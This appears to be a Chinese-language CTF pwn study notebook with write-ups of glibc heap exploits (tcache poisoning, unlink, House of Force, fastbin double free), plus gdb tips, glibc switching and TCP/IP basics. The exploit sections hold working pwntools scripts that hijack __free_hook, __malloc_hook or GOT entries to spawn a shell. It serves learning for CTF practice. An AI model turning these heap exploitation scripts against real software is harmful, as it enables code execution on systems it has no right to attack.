0%

editable_note

image-20251203210748426

艾我也喜欢攻破靶机的感觉。

题目:

add:

image-20251203211025974

delete:

image-20251203211056868

edit:

image-20251203211153251

show:

image-20251203211227251

这个题是典型的uaf + tache posioning

解题:

泄露libc:

通过unsorted bin泄露main_arena进而泄露Libc

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import * 
p = process('./vuln')
#p = remote("node5.anna.nssctf.cn",25397)
elf = ELF('./vuln')
libc = elf.libc


def add(leng,color):
p.sendlineafter('>','1')
p.sendlineafter('Index:',str(leng))
p.sendlineafter('Size:',str(color))



def dele(id1):
p.sendlineafter('>','2')
p.sendlineafter('Index:',str(id1))



def show(id1):
p.sendlineafter('>','4')
p.sendlineafter('Index:',str(id1))

def edit(id1,name):
p.sendlineafter('>','3')
p.sendlineafter('Index:',str(id1))
p.sendafter('Content:',name)


for i in range(8):
add(i,0x80)

for i in range(7):
dele(i)
gdb.attach(p)
add(8,0x20) // 防止于top chunk合并
dele(7)

show(7)

main_arena=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success(f"main_arena: {hex(main_arena)}")
libcbase = main_arena - 0x1ecbe0
log.success(f"libcbase: {hex(libcbase)}")
free_hook = libcbase + libc.sym['__free_hook']
system = libcbase + libc.sym['system']
log.success(f"libcbase: {hex(system)}")
log.success(f"libcbase: {hex(free_hook)}")

这里先申请8个同样大小的chunk 七个用来填满tache bin 另一个用来释放进入unsorted bin

可以看到chunk7 的fd和bk都指向main_arena

image-20251203212520431

🐖:

1
add(8,0x20) // 防止于top chunk合并

最开始做的时候没有加这个

导致这个chunk 释放后会和top chunk合并 而不是进入unsorted bin::

1
2
3
4
5
6
7
8
for i in range(8):
add(i,0x80)

for i in range(7):
dele(i)
gdb.attach(p)
#add(8,0x20)
dele(7)

image-20251203213410982

可以看到没有进入ub 且top chunk的地址发生了变化。

image-20251203213429481

🐖:

1
2
3
4
5
6
7
8
9
10
11

for i in range(8):
add(i,0x80)

for i in range(7):
dele(i)
#gdb.attach(p)
add(8,0x20)
dele(7)
#gdb.attach(p)
dele(8) ###try

这里好奇尝试了一下释放这个chunk8 但是他没有和top chunk合并。因为进入tache 的优先级高于top chunk 合并

image-20251203213842185

uaf + posioning:

exp:

1
2
3
4
5
6
7
8
9
10
11
add(9,0x20)  /// 
add(10,0x20) ///

dele(8)
#gdb.attach(p)
dele(9)

edit(10,b'/bin/sh\x00')
#gdb.attach(p)
edit(9,p64(free_hook))

有点像double free

image-20251203221329698

这里的0x690是chunk9 0x720是chunk8

tache是 LIFO(后进先出)

image-20251203222111156

chunk9相当于头指针 chunk8是尾指针

这里修改chunk9的next指针就可以劫持tahce

image-20251203221237988

exp:

1
2
3
4
5
add(11,0x20)
add(12,0x20) // __free_hook
edit(12,p64(system))
dele(10) //触发system(/bin/sh)
p.interactive()

这样就打通了。

🐖:

在调试的时候发现重新申请chunk的时候会优先用unsortedbin部分的chunk

1
2
3
4
5
6
7
8
add(9,0x20)    ///1
add(10,0x20)
add(11,0x20) ///2

add(12,0x20) ///3
gdb.attach(p)
add(13,0x20)

初始状态:

image-20251203222607081

1:

image-20251203222709430

2:

image-20251203222723903

可以看到glibc优先分配的是unsortedbin中的chunk

3:

image-20251203222735752

unsortedbin分配完后 会从top chunk中分割。

unlink

原理:

在执行_int_free()函数的时候会执行unlink:

1
2
3
4
5
6
7
#define unlink(AV, P, BK, FD)
static void _int_free (mstate av, mchunkptr p, int have_lock)
free(){
_int_free(){
unlink();
}
}

chunk1 free进入unsortedbin 的时候,如果相邻地址的chunk的chunk2处于空闲状态:

unlink会将chunk1和chunk2进行合并操作,而chunk2的fd和bk位置对应的地址就会进行unlink也就是断链操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<stdio.h>
#include <stdlib.h>
void main(){
long *hollk1 = malloc(0x80);
long *first_chunk = malloc(0x80);
long *hollk3 = malloc(0x80);
long *second_chunk = malloc(0x80);
long *hollk5 = malloc(0x80);
long *third_chunk = malloc(0x80);
long *hollk7 = malloc(0x80);

free(first_chunk);
free(second_chunk);
free(third_chunk);

}

全部free完成后的情况:

image-20251201212019654

image-20251201212106544

注:0x440是chunk2 0x669是chunk1 0x9a2是chunk3 0x4d0是chunk4

image-20251201230538872

这里在进行free(Chunk4)的时候 由于chunk2与chunk4相邻就会合并chunk2 而chunk1和chunk3的bk 和 fd就会进行Unlink:

image-20251201225847125

但是还需要绕过一下三个检测

image-20251201225936936

  1. 检查1:检查与被释放chunk相邻高地址的chunk的prevsize的值是否等于被释放chunk的size大小

    可以看左图绿色框中的内容,上面绿色框中的内容是second_chunk的size大小,下面绿色框中的内容是hollk5的prev_size,这两个绿色框中的数值是需要相等的(忽略P标志位)

  2. 检查2:检查与被释放chunk相邻高地址的chunk的size的P标志位是否为0

    可以看左图蓝色框中的内容,这里是hollk5的size,hollk5的size的P标志位为0,代表着它前一个chunk(second_chunk)为空闲状态

  3. 检查3:检查前后被释放chunk的fd和bk

    可以看左图红色框中的内容,这里是second_chunk的fd和bk。首先看fd,它指向的位置就是前一个被释放的块first_chunk,这里需要检查的是first_chunk的bk是否指向second_chunk的地址。再看second_chunk的bk,它指向的是后一个被释放的块third_chunk,这里需要检查的是third_chunk的fd是否指向second_chunk的地址。

stkof

creat:

image-20251201214023872

delete:

image-20251201214134444

edit:

image-20251201214139392

image-20251201214644090

创立的chunk 只需要管后两个堆块

image-20251201214657971

存储heap的数组n

下面讲解一下unlink的部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import * 

p = process('./stkof')

elf = ELF('./stkof')

libc = elf.libc

def alloc(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')


def edit(idx, size, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')


def free(idx):
p.sendline('3')
p.sendline(str(idx))

gdb.attach(p)
alloc(0x100)

alloc(0x30)

alloc(0x80)

pay = p64(0) + p64(0x20)
pay +=p64(0x602138) + p64(0x602140)
pay +=p64(0x20)
pay = pay.ljust(0x30,b'a')
pay += p64(0x30) + p64(0x90)

edit(2,len(pay),pay)
#gdb.attach(p)
free(3)

unlink的目的是控制数组n 实现任意地址写:

利用edit伪造了一个已经free掉进入unsortedbin中的chunk 然后free(chunk3)的时候触发unlink 实现了修改chunk3 fd的目的。

image-20251201230227275

fake chunk:

image-20251201215704590

image-20251201230159757

可以看到绕过了上述的检测。

这里看一下伪造的fd 和 bk 也就是chunk3和chunk2:

这两个伪造的堆块位于数组n

image-20251201215923846

38的bk和40的fd都指向我们伪造的fake chunk

然后free chunk3(与fake chunk地址相邻)后:

image-20251201230126886

① fake_chunk被摘除之后首先执行的就是first_bk = third_addr,也就是说first_chunk的bk由原来指向fake_chunk地址更改成指向third_chunk地址:

image-20251201230014783

② 接下来执行third_fd = first_addr,即third_chunk的fd由由原来指向fake_chunk地址更改成first_chunk地址:

image-20251201230046906

这里需要注意的是third_chunk的fdfirst_chunk的bk更改的其实是一个位置,但是由于third_fd = first_addr后执行,所以此处内容会从0x602140被覆盖成0x602138。

image-20251201220335322

总结一下:最终利用的是修改third chunk(fake chunk)的fd指向数组n。

后续通过数组n实现任意地址写:

1
2
3
pay2 = p64(0) + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi']) 
gdb.attach(p)
edit(2,len(pay2),pay2)

image-20251201220933985

1
2
3
4
5
6
7
8
payload = p64(hollkelf.plt['puts'])
edit(0, len(payload), payload) //把free覆盖成puts函数
puts_addr = hollk.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']

触发system(binsh)

1
2
3
4
5
6
7
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']
payload = p64(system_addr)
edit(2, len(payload), payload) //把auti覆盖成system
p.send(p64(binsh_addr))
p.interactive()

House of force

条件:

  1. 能够以溢出等方式控制到 top chunk 的 size 域
  2. 能够自由地控制堆分配尺寸的大小

原理:

利用malloc函数对top chunk的利用,使得堆块指向我们期望的地址,再次申请堆块就可以实现任意地址写。

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
//nb是用户申请的堆块的大小加上头堆块
{
remainder_size = size - nb;
// 新的top chunk的大小
remainder = chunk_at_offset(victim, nb);
//等价于remainder = (mchunkptr)((char*)victim + nb); 获取新的top chunk的地址
av->top = remainder;
//更新top chunk地址
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);

check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}

利用:

只要满足把top chunk的size改成一个很大的值,就可以通过这个检测。

一般把top chunk size的值改为-1 size是unsigned int类型就会变成0xffffffffffffffff 从而绕过检测。

1
2
3
4
5
6
7
8
9
int main()
{
long *ptr,*ptr2;
ptr=malloc(0x10);
ptr=(long *)(((long)ptr)+24);
*ptr=-1; // <=== 这里把top chunk的size域改为0xffffffffffffffff
malloc(offset); // <=== 减小top chunk指针
malloc(0x10); // <=== 分配块实现任意地址写
}

这里的offset就是想控制top chunk移动后的位置。

1
2
3
4
5
6
offset = target - 0x10 //nb
-=top

malloc(offset) // 此时new top chunk的头地址就会位于 target-0x10的位置
malloc(0x10) //实现任意地址写

这里offset也可以是负数 (控制topchunk向低地址偏移)

  • 由于我们的top chunk size是-1 所以可以绕过检测。

  • new top chunk的size我们不需要关系 重要的是new top chunk的地址 ,也就是:

    remainder = chunk_at_offset(victim, nb):

    这里我们的nb是一个负数 虽然转化成unsigned int类型会变成一个很大的正数 但是计算的时候会经过处理变成正常的加减法 就把他当成正常负数看就好。

例题:2023 羊城杯决赛easy_force

main:

image-20251127122736424

add:

image-20251127122801609

保护:

image-20251127123220721

这里只给了4次add函数的机会 , 其他的函数都无用。

思路:

通过house of force 把 malloc_hook 改成 system(\bin\sh)。

解题:

首先通过mmap泄露libc基地址:

在处理大 chunk 时的行为:
glibc 的 malloc 对于大于 mmap_threshold 的申请,不使用 heap,而是直接调用 mmap() 向内核申请一块内存。
默认情况下,这个阈值在 128 KB 左右(也可能是更大)
(比如:malloc(0x20000) ➜ 会使用 mmap)

mmap 分配的大 chunk 地址规律:

使用mmap()分配的内存块,一般在 libc 映射地址之下;
在默认的内存布局中,mmap() 返回的地址和 libc.so 的加载基址存在一个固定偏移;

申请一个超大 chunk(触发 mmap
打印这个 chunk 的地址
减去偏移,得到 libc base

这个偏移值是固定的(取决于特定 libc 版本的布局),你只要知道 libc 版本,就可以知道偏移量。

1
2
3
4
5
add(3, 0x888888, 'aaa')
#add(1, 0x888888, 'aaa')
io.recvuntil("on ")
libc.address= int(io.recv(14),16)+0x888ff0
log.success("libc.address :"+hex(libc.address))

Image #1

修改topchunk size:

1
2
3
4
5
add(0,0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF))
io.recvuntil("on ")
top=int(io.recv(10),16)+0x10
log.success("top :"+hex(top))

image-20251127125636159

计算偏移移动top chunk到新位置:

1
2
3
4
5
6
7
8
9
offset = (malloc_hook-0x20)-top
log.success("offset :"+hex(offset))
// 0x20的偏移通过调试获得
#gdb.attach(io)

add(1,offset,'xxxx')
io.recvuntil("on ")
addr=int(io.recv(10),16)+offset
log.success("addr :"+hex(addr))

image-20251127125941799

image-20251127125952099

这里可以看到new top 被移动到了malloc_hook - 0x10的位置。

这样我们就可以进行任意地址写 覆写malloc_hook的地址了

写入system:

1
2
3
4
5
add(2,0x10,p64(system))
io.recvuntil("on ")
addr1=int(io.recv(14),16)
log.success("addr1 :"+hex(addr1))

这里可以看到new topchunk 切割了一块0x20大小的堆块给返回给用户

我们从这里写入了system的地址

image-20251127130158802

后面再次利用malloc函数就可以实现打通。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
io= process('./pwn')
elf=ELF('./pwn')

libc = elf.libc
def add(index,size,content):
io.sendlineafter("4.go away\n", "1")
io.sendlineafter("which index?\n", str(index))
io.sendlineafter("how much space do u want?\n", str(size))
io.sendlineafter("now what to write?\n",content)
#gdb.attach(io)
add(3, 0x888888, 'aaa')
#add(1, 0x888888, 'aaa')
io.recvuntil("on ")
libcc = int(io.recv(14),16)
libc.address= libcc +0x888ff0
log.success("libc :" + hex(libcc))
log.success("libc.address :"+hex(libc.address))
gdb.attach(io)
add(0,0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF))
io.recvuntil("on ")
top=int(io.recv(10),16)+0x10
log.success("top :"+hex(top))

malloc_hook=libc.sym['__malloc_hook']
log.success('malloc_hook :'+hex(malloc_hook))
system=libc.sym['system']
log.success('system :'+hex(system))
offset = (malloc_hook-0x20)-top
log.success("offset :"+hex(offset))

#gdb.attach(io)

add(1,offset,'xxxx')
io.recvuntil("on ")
addr=int(io.recv(10),16)+offset
log.success("addr :"+hex(addr))


add(2,0x10,p64(system))
io.recvuntil("on ")
addr1=int(io.recv(14),16)
log.success("addr1 :"+hex(addr1))

io.sendlineafter("4.go away\n", "1")
io.sendlineafter("which index?\n", str(4))
io.sendlineafter("how much space do u want?\n", str(top))

io.interactive()

总结:

house of force 的关键在于可以修改topchunk的size部分 以及 计算好到target目标地址的偏移量。

参考:https://tamoly.github.io/2025/07/13/NSSCTF-PWN%E9%A2%98%E8%A7%A3/%E7%BE%8A%E5%9F%8E%E6%9D%AF%202023%20%E5%86%B3%E8%B5%9B%20easy_force(House%20of%20Force%E5%92%8Csystem('bin%20sh'))/index.html

gdb新的理解

前言:

其实感觉之前一直有gdb调试恐惧症。

但是通过最近的练习和复现,对gdb有了一些新的理解与感悟。

之前常常因为搞不清楚调试的位置,不知道怎么查看想看的程序执行情况而苦恼。

通过最近的联系理解了断点的重要性,以及一些新的gdb指令。

希望可以一直进步下去!!!

新学会了用python交互模式进行gdb的单步调试

下面以一个简单的uaf堆题为例:

题目(buuctf easyfast):

gdb1

creat:

image-20251112145102620

shell:

gdb2

image-20251112145421701

这里可以看到data段的全局变量602090初始的时候是1

delete:

image-20251112145252356

这里存在一个 **uaf **漏洞。

edit:

image-20251112145305907

思路:

这里的思路就是利doublefree或者 uaf 将 全局变量602090变为0

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import*

# [+] 环境配置
context(log_level='debug')
p = process('./easyfast') # 本地调试
# p = remote('target.ip', port) # 远程连接

target = 0x602090 # 目标地址(如 GOT 表)

# [+] 堆操作函数
def alloc(size):
"""申请堆块"""
p.sendlineafter(b'choice>', str(1))
p.sendlineafter(b'size>', str(size))

def free(index):
"""释放堆块"""
p.sendlineafter(b'choice>', str(2))
p.sendlineafter(b'index>', str(index))

def fill(index, content):
"""填充堆块内容"""
p.sendlineafter(b'choice>', str(3))
p.sendlineafter(b'index>', str(index))
p.send(content)

def shell():
"""触发漏洞函数"""
p.sendlineafter(b'choice>', str(4))

# [+] Exploit 流程
alloc(0x40) # 申请两个 0x50 大小的堆块(0x40 + header)
alloc(0x40)

# [+] 构造 Double Free
free(0) # 释放 chunk 0
free(1) # 释放 chunk 1
free(0) # 再次释放 chunk 0,形成 fastbin 链表:0 -> 1 -> 0

# [+] 控制 fastbin 链表头
payload = p64(target - 0x10) # 指向目标地址 - 0x10(chunk header)
fill(0, payload)

# [+] 重新分配,控制目标地址附近的内存
alloc(0x40) # 分配到原 chunk 0 位置
alloc(0x40) # 分配到原 chunk 1 位置,此时其 fd 指向 target-0x10
alloc(0x40) # 分配到 target-0x10 附近,可以覆盖目标

# [+] 覆盖目标内容(如 GOT 表项)
payload = p64(0) # 或者 system("/bin/sh") 的地址
fill(3, payload)

# [+] 触发漏洞
shell()

# [+] 交互
p.interactive()

动态调试part1

  • 首先开启一个python3 解释器:

image-20251112150609622

这里同时也可以看到我们启动了一个进程72687

  • 同时开启另一个gdb终端:

image-20251112151018331

attach (pid)在gdb里面附件进程。

  • 设置关键断点:

QQ_1762932098054

QQ_1762932109240

QQ_1762932126635

在三个关键函数的返回处设置断点

QQ_1762932409290

然后continue等待解释器输入

QQ_1762932489263

  • 开始进行单步调试:

QQ_1762932787984

这里定义函数

然后下面我们执行了alloc(0x40)创建了0x40大小的堆块

QQ_1762932811796

这里可以看到右边的终端停在了我们设置的断点

image-20251112153558163

这里也可以看到我们的堆块创建成功。

这样调试可以看到每步的执行情况。

每次进入Continuing.等待执行时候在python解释器执行新的指令

image-20251112153909048

这里看到成功把chunk0fd改为全局变量-0x10,然后后面通过edit就可以修改这个伪造的堆块,也就是我们需要利用全局变量

image-20251112154622804

查看全局变量buf

可以看到我们的目标地址被当作了一个堆块。后面就修改堆块3即可。

image-20251112155101849

这里可以看到我们成功启动了shell的进程:

image-20251112155456001

image-20251112155433697

注意

ctrl + d 退出python解释器

想看执行情况可以随时ctrl + c暂停gdb终端

动态调试part2

image-20251112162347772

这里可以看到我们进入了interactive mode

image-20251112162428445

image-20251112162453383

继续4执行shell()成功

同时可以利用interactive modegdb.attach()

image-20251112162721541

image-20251112162730716

这里就是说当写脚本的时候可以利用interactive mode 继续往下执行gdb.attach后面的内容。

更换glibc版本

1.下载glibc_all_in_one

步骤 1:安装依赖工具

bash: sudo apt install patchelf git

步骤 2:下载 glibc-all-in-one

bash: git clone https://github.com/matrix1001/glibc-all-in-one.git

cd glibc-all-in-one

2.下载对应版本的glibc(2.23为例)

./update_list

cat list | grep 2.23

./download 2.23-0ubuntu3_amd64

问题

image-20250725165210090

出现sudo: unable to execute ./update_list: No such file or directory错误,看似矛盾(ls明明显示文件存在),实际是因为update_list脚本的解释器路径无效或脚本本身存在损坏。具体解决步骤如下:

1.检查update_list脚本的头部解释器

# 查看脚本首行 head -n 1 ./update_list

正常输出应为:

#!/bin/bash

3.更换

❯ patchelf –set-interpreter /home/jc/glibc-all-in-one/libs/2.23-0ubuntu3_i386/ld-2.23.so
–set-rpath /home/jc/glibc-all-in-one//libs/2.23-0ubuntu3_i386/
./pwn160

image-20250725165549637

注意路径!!!

4.检查

image-20250725165853663

5.换回去

image-20250725170102584

1.patchelf –remove-rpath ./hacknote

清除之前通过--set-rpath指定的 glibc 库路径

2.patchelf –set-interpreter /lib/i386-linux-gnu/ld-linux.so.2 ./hacknote

恢复系统默认的动态链接器

64 位程序的默认链接器是/lib64/ld-linux-x86-64.so.2,但 32 位程序必须使用 32 位链接器/lib/i386-linux-gnu/ld-linux.so.2(若路径不同,可通过dpkg -L libc6:i386 | grep ld-linux查询)。

另一种方法

编译不同版本的glibc

首先要使用不同版本的glibc,我们需要有不同版本的 glibc 可执行文件,也就是 libc.so 和 ld.so。这两个文件是程序运行时所需要的文件按。

当然也可以在网上找已经编译好的libc,但是找不到时自己编译的步骤如下:

glibc-all-in-one:是一个开源项目,里面有各种版本的glibc 源码。

然后编译glibc 的命令如下:

git clone https://github.com/matrix1001/glibc-all-in-one

cd glibc-all-in-one

chmod 777 build download extract

sudo ./build 2.29 amd64 #编译glibc
sudo ./build 2.27 amd64
sudo ./build 2.23 amd64

加载glibc

对于一个可执行文件,可以通过 LD_PRELOAD 来指定其使用 对应版本的 glibc。但是这里需要注意,还得指定一个对应版本的 ld.so,不然 可能会出现问题。

使用方法如下,我习惯将 ld.so 和 libc.so.6 放到与程序同目录下。也可以自己改变路径。

p = process([“ld.so”, “./test”],
env={“LD_PRELOAD”:”libc.so.6”})
通过上面的操作,我们就可以指定 test 加载对应版本的 glibc。

更换动态链接库

image-20251201153641147

TCP/IP 协议栈

TCP/IP 协议栈是互联网的核心通信框架,它定义了计算机之间如何通过网络进行数据传输的一系列规则。这个协议栈采用分层结构设计,将复杂的网络通信过程分解为多个独立的功能层,每层专注于特定任务,并通过接口与上下层协作。

TCP/IP 协议栈的分层结构(4 层模型)

通常将 TCP/IP 协议栈分为 4 层(从底层到上层),每层包含不同的协议,共同完成数据的封装、传输和解析:

1. 网络接口层(Network Interface Layer)

  • 作用:负责将数据通过物理网络(如以太网、Wi-Fi)传输,处理硬件相关的通信细节。

  • 核心协议 / 技术

    • 以太网(Ethernet):定义了局域网内数据传输的帧格式(包含 MAC 地址、校验码等)。
    • Wi-Fi(802.11 协议):无线局域网的通信标准。
    • ARP(地址解析协议):将 IP 地址转换为物理 MAC 地址,用于局域网内设备定位。
  • 数据单元:帧(Frame)

2. 网络层(Internet Layer)

  • 作用:负责跨网络(如局域网到广域网)的数据路由和转发,确保数据从源设备能找到目标地址。

  • 核心协议

    • IP(网际协议):最核心的协议,定义了 IP 地址(如 IPv4、IPv6),负责数据的分组和路由。
    • ICMP(互联网控制消息协议):用于网络诊断(如 ping 命令通过 ICMP 检测主机可达性)。
    • IGMP(互联网组管理协议):用于多播通信(如视频会议)。
  • 数据单元:数据包(Packet)

3. 传输层(Transport Layer)

  • 作用:提供端到端的可靠数据传输,处理数据的分段、重组、流量控制等。

  • 核心协议

    • TCP(传输控制协议):面向连接的可靠协议,通过三次握手建立连接、序列号保证顺序、重传机制处理丢包,适用于对可靠性要求高的场景(如网页、文件传输)。
    • UDP(用户数据报协议):无连接的不可靠协议,不保证数据到达顺序和完整性,但但传输速度快,适用于实时性要求高的场景(如视频通话、游戏)。
  • 数据单元:TCP 称为段(Segment),UDP 称为数据报(Datagram)

4. 应用层(Application Layer)

  • 作用:直接为用户应用程序提供服务,定义了数据交互的格式和规则。

  • 核心协议

    • HTTP/HTTPS:用于 Web 页面传输(如浏览器访问网站)。
    • FTP/SFTP:用于文件传输。
    • SMTP/POP3/IMAP:用于邮件发送和接收。
    • DNS:用于将域名(如 example.com)解析为 IP 地址。
    • SSH/Telnet:用于远程登录服务器。
  • 数据单元:数据(Data)

数据传输的封装与解封装过程

TCP/IP 协议栈通过 “封装” 和 “解封装” 实现数据传输,以浏览器访问网站为例:

  1. 封装(发送端)
    • 应用层:浏览器生成 HTTP 请求数据(如 GET /index.html)。
    • 传输层:TCP 为数据添加头部(源端口、目标端口、序列号等),形成 TCP 段。
    • 网络层:IP 为 TCP 段添加头部(源 IP、目标 IP、路由信息等),形成 IP 数据包。
    • 网络接口层:以太网为 IP 包添加头部(源 MAC、目标 MAC)和尾部(校验码),形成帧,通过物理介质(网线 / Wi-Fi)发送。
  2. 解封装(接收端)
    • 网络接口层:接收帧,校验并移除以太网头部,将 IP 数据包交给网络层。
    • 网络层:解析 IP 头部,确认目标 IP 匹配后,移除 IP 头部,将 TCP 段交给传输层。
    • 传输层:TCP 验证序列号,重组分段数据,移除 TCP 头部,将 HTTP 数据交给应用层。
    • 应用层:服务器解析 HTTP 请求,处理后返回响应,重复封装过程回传客户端。

总结

TCP/IP 协议栈是互联网的 “交通规则”,通过分层设计实现了功能解耦:

  • 底层(网络接口层、网络层)负责 “数据怎么传”(物理传输、路由);
  • 上层(传输层、应用层)负责 “传什么数据”(可靠传输、应用交互)。

这种结构使得不同厂商的设备(如电脑、路由器、服务器)能遵循统一标准通信,是互联网互联互通的基础。

我们以日常生活中 **“浏览网页(HTTP 请求)”为例,详细说明 TCP/IP 协议栈各层(应用层、传输层、网络层、网络接口层)的协作关系,以及数据在各层之间的封装、传递、解封装 ** 过程。

场景:用户在浏览器输入www.example.com并回车,请求加载网页

步骤 1:应用层(HTTP 协议)生成数据

  • 功能:应用层负责处理用户的具体需求(这里是 “获取网页内容”),使用 HTTP 协议定义数据格式。

  • 过程

    浏览器(应用层程序)生成一个 HTTP 请求报文,内容大致如下:

    plaintext

    1
    2
    3
    GET /index.html HTTP/1.1  
    Host: www.example.com
    User-Agent: Chrome/100.0.0.0

    这部分是 “原始数据”,需要交给下层(传输层)处理。

步骤 2:传输层(TCP 协议)封装:添加 “端口信息”

  • 功能:传输层负责 “端到端” 的可靠传输(TCP 是可靠协议),通过端口号区分同一设备上的不同应用(如浏览器用 80/443 端口,QQ 用其他端口)。

  • 过程

    传输层(TCP)会在 HTTP 数据前添加一个

    TCP 头部

    ,包含:

    • 源端口(浏览器随机分配,如54321):标记 “哪个应用发送的”;
    • 目标端口(80,HTTP 默认端口):标记 “目标服务器的哪个应用接收”;
    • 序列号、确认号:用于确保数据有序、不丢失(TCP 的 “可靠” 特性)。
      此时数据单元称为TCP 段(Segment),交给下层(网络层)。

步骤 3:网络层(IP 协议)封装:添加 “IP 地址信息”

  • 功能:网络层负责 “跨网络路由”,通过IP 地址确定数据的传输路径(从用户设备到目标服务器)。

  • 过程

    网络层(IP)在 TCP 段前添加

    IP 头部

    ,包含:

    • 源 IP 地址(用户设备的 IP,如192.168.1.100);
    • 目标 IP 地址(www.example.com对应的 IP,如93.184.216.34,通过 DNS 解析获得);
    • 协议类型(此处为6,表示上层是 TCP)。
      此时数据单元称为IP 数据包(Packet),交给下层(网络接口层)。

步骤 4:网络接口层(以太网协议)封装:添加 “MAC 地址信息”

  • 功能:网络接口层负责 “物理介质传输”,通过MAC 地址在局域网内识别设备(如路由器、交换机)。

  • 过程

    网络接口层(以太网)在 IP 数据包前添加

    以太网头部

    ,包含:

    • 源 MAC 地址(用户设备的网卡 MAC,如00:1A:2B:3C:4D:5E);
    • 目标 MAC 地址(局域网内下一跳设备的 MAC,通常是路由器的 MAC,如AA:BB:CC:DD:EE:FF);
    • 类型(0x0800,表示上层是 IP 协议)。
      同时在数据尾部添加帧校验序列(FCS),用于校验数据传输是否出错。
      此时数据单元称为以太网帧(Frame),通过物理介质(网线 / Wi-Fi)发送。

步骤 5:数据在网络中传输(路由转发)

  • 以太网帧从用户设备发送到路由器,路由器解析以太网头部(验证 MAC 地址是否匹配),然后移除以太网头部,提取 IP 数据包。
  • 路由器根据 IP 头部的 “目标 IP 地址”(93.184.216.34)查询路由表,确定下一跳设备(可能是其他路由器),重新封装新的以太网帧(目标 MAC 地址改为下一跳设备的 MAC),继续转发。
  • 经过多跳路由后,数据最终到达www.example.com所在的服务器局域网。

步骤 6:接收端(服务器)解封装:逐层还原数据

服务器收到数据后,按 “从下到上” 的顺序解封装:

  1. 网络接口层:验证 FCS 无误后,移除以太网头部,提取 IP 数据包,交给网络层。
  2. 网络层:解析 IP 头部,确认目标 IP 是自己,移除 IP 头部,提取 TCP 段,交给传输层。
  3. 传输层:解析 TCP 头部,通过目标端口(80)确定交给 HTTP 服务,验证序列号确保数据完整,移除 TCP 头部,提取 HTTP 请求数据,交给应用层。
  4. 应用层:HTTP 服务处理请求,生成响应数据(网页内容),然后按上述步骤反向封装,发送回用户设备。

总结:各层关系的核心体现

  • 依赖关系:应用层(HTTP)依赖传输层(TCP)的端口标识,传输层依赖网络层(IP)的地址路由,网络层依赖网络接口层(以太网)的物理传输。
  • 封装 / 解封装:发送端每层添加头部(封装),接收端每层移除头部(解封装),数据像 “剥洋葱” 一样逐层还原。
  • 独立性:如果用户切换网络(如从有线换 Wi-Fi),只需网络接口层调整 MAC 地址和传输介质,上层(IP/TCP/HTTP)无需任何修改,体现了分层设计的灵活性。

四大金刚

一个二进制文件运行起来需要四个核心部件: 可执行文件,操作系统(os),内存(ram),处理器(cpu)协同操作。

1. 可执行文件(二进制文件)

  • 作用:程序的 “静态载体”,包含计算机可直接执行的机器指令(二进制代码)、数据(如常量、初始化变量)、以及用于加载的元信息(如文件格式、内存布局描述、入口点地址等)。
  • 常见格式:Windows 的 .exe、Linux 的 ELF(Executable and Linkable Format)、macOS 的 Mach-O 等。这些格式规定了指令和数据的组织方式,让操作系统能正确解析并加载。

2. 操作系统(OS)

  • 作用

    :程序运行的 “管理者”,负责协调硬件资源并提供运行环境,核心功能包括:

    • 加载程序:将可执行文件从磁盘读入内存,根据文件中的元信息(如段表)分配内存区域(代码段、数据段、栈、堆等),并设置权限(如代码段设为只读可执行)。
    • 进程管理:为程序创建进程(或线程),分配进程控制块(PCB)记录进程状态(如 PID、寄存器值、内存映射等),并调度进程获得处理器时间。
    • 资源抽象与分配:通过系统调用(如文件操作、内存分配)为程序提供统一的硬件访问接口,避免程序直接操作硬件。
    • 内存管理:通过虚拟内存机制将程序的逻辑地址映射到物理内存,实现内存隔离(不同程序互不干扰)和高效利用(如内存分页、交换)。

3. 内存(RAM)

  • 作用

    :程序运行的 “临时数据空间”,用于存储程序执行过程中的指令和数据:

    • 代码段(Text Segment):存放可执行文件中的机器指令,供处理器读取并执行。
    • 数据段(Data Segment):存放初始化的全局变量、静态变量(编译时已知值)。
    • BSS 段:存放未初始化的全局变量、静态变量(默认初始化为 0,由操作系统在加载时分配空间)。
    • 栈(Stack):存储函数参数、局部变量、返回地址等(见前文详解)。
    • 堆(Heap):动态分配的内存(如malloc申请的空间),供程序运行时灵活使用。

4. 处理器(CPU)

  • 作用

    :程序执行的 “运算核心”,负责逐条执行内存中的机器指令:

